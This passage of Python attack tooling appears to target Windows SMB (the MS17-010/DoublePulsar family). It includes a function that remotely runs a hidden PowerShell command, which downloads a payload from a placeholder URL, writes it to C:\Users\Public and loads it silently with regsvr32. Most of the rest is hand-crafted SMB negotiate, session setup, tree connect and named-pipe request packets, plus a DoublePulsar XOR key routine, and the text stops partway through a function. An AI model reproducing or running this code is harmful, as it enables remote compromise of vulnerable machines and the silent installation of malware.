while 'DIRECTLINK' in ps_down:
ps_down = ps_down.replace('DIRECTLINK', auto_url)
while 'STUBNAME' in ps_down:
ps_down = ps_down.replace('STUBNAME', stub_name)
service_exec(conn, ps_down)
def ps_down_exec_dll(conn, arch):
smbConn = conn.get_smbconnection()
ps_down = r'''cmd /c powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX (New-Object Net.WebClient).DownloadFile('DIRECTLINK','C:\Users\Public\STUBNAME');regsvr32 /s C:\Users\Public\STUBNAME'''
while 'DIRECTLINK' in ps_down:
ps_down = ps_down.replace('DIRECTLINK', auto_url)
while 'STUBNAME' in ps_down:
ps_down = ps_down.replace('STUBNAME', stub_name)
service_exec(conn, ps_down)
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger(__file__)
class SMB_HEADER(Structure):
_pack_ = 1
_fields_ = [
("server_component", c_uint32),
("smb_command", c_uint8),
("error_class", c_uint8),
("reserved1", c_uint8),
("error_code", c_uint16),
("flags", c_uint8),
("flags2", c_uint16),
("process_id_high", c_uint16),
("signature", c_uint64),
("reserved2", c_uint16),
("tree_id", c_uint16),
("process_id", c_uint16),
("user_id", c_uint16),
("multiplex_id", c_uint16)
]
def __new__(self, buffer=None):
return self.from_buffer_copy(buffer)
def __init__(self, buffer):
log.debug("server_component : %04x" % self.server_component)
log.debug("smb_command : %01x" % self.smb_command)
log.debug("error_class : %01x" % self.error_class)
log.debug("error_code : %02x" % self.error_code)
log.debug("flags : %01x" % self.flags)
log.debug("flags2 : %02x" % self.flags2)
log.debug("process_id_high : %02x" % self.process_id_high)
log.debug("signature : %08x" % self.signature)
log.debug("reserved2 : %02x" % self.reserved2)
log.debug("tree_id : %02x" % self.tree_id)
log.debug("process_id : %02x" % self.process_id)
log.debug("user_id : %02x" % self.user_id)
log.debug("multiplex_id : %02x" % self.multiplex_id)
def generate_smb_proto_payload(*protos):
hexdata = []
for proto in protos:
hexdata.extend(proto)
return "".join(hexdata)
def calculate_doublepulsar_xor_key(s):
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff
return x
def negotiate_proto_request():
log.debug("generate negotiate request")
netbios = [
'\x00',
'\x00\x00\x54'
]
smb_header = [
'\xFF\x53\x4D\x42',
'\x72',
'\x00\x00\x00\x00',
'\x18',
'\x01\x28',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
'\x00\x00',
'\xC5\x5E'
]
negotiate_proto_request = [
'\x00',
'\x31\x00',
'\x02',
'\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00',
'\x02',
'\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00',
'\x02',
'\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00',
'\x02',
'\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00'
]
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request():
log.debug("generate session setup andx request")
netbios = [
'\x00',
'\x00\x00\x63'
]
smb_header = [
'\xFF\x53\x4D\x42',
'\x73',
'\x00\x00\x00\x00',
'\x18',
'\x01\x20',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
'\x00\x00',
'\xC5\x5E'
]
session_setup_andx_request = [
'\x0D',
'\xFF',
'\x00',
'\x00\x00',
'\xDF\xFF',
'\x02\x00',
'\x01\x00',
'\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x00\x00\x00\x00',
'\x40\x00\x00\x00',
'\x26\x00',
'\x00',
'\x2e\x00',
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00',
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00',
]
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(ip, userid):
log.debug("generate tree connect andx request")
netbios = [
'\x00',
'\x00\x00\x47'
]
smb_header = [
'\xFF\x53\x4D\x42',
'\x75',
'\x00\x00\x00\x00',
'\x18',
'\x01\x20',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
userid,
'\xC5\x5E'
]
ipc = "\\\\{}\IPC$\x00".format(ip)
log.debug("Connecting to {} with UID = {}".format(ipc, userid))
tree_connect_andx_request = [
'\x04',
'\xFF',
'\x00',
'\x00\x00',
'\x00\x00',
'\x01\x00',
'\x1A\x00',
'\x00',
ipc.encode(),
'\x3f\x3f\x3f\x3f\x3f\x00'
]
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
netbios[1] = struct.pack(">L", length)[-3:]
return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
log.debug("generate peeknamedpipe request")
netbios = [
'\x00',
'\x00\x00\x4a'
]